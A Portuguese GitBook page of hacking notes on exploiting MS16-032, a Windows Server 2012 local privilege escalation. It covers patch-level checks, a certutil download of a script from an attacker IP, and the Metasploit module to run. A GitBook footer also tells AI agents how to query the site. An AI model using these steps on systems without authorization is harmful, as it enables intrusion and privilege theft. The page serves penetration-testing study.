> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 é uma vulnerabilidade local de escalada de privilégios relacionada ao serviço Secondary Logon. A viabilidade depende da versão exata do Windows, da arquitetura e dos patches instalados.

## Detecção

```powershell
systeminfo
```

Compare a versão com referências de exploits conhecidas:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## Confirmar estado dos patches

Exportar `systeminfo` e compare os KBs instalados com uma ferramenta confiável de sugestão de exploits antes de executar o módulo.

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## Transferir

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/fd6c6c3e698755e25d0d92ee2465f4e6e193e05d" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## Exploração

Módulo do Metasploit:

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/6fe0495e782f519ba158f580c35f835faabee71f" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

Configure a sessão ativa, a arquitetura e as opções de alvo e, em seguida, execute o módulo somente após confirmar que o host é compatível.

<figure><img src="/files/d467e542872003ec7af053e038aac0256402ee72" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/10e790bd5d8321c8e9069bbf1436acb9e9746e87" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## Pontos-chave

* Sempre valide a versão, a arquitetura e o nível de patch.
* Exploits de kernel são frágeis; teste-os em um laboratório antes de usá-los durante uma avaliação.
* Corrija aplicando as atualizações de segurança relevantes da Microsoft.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
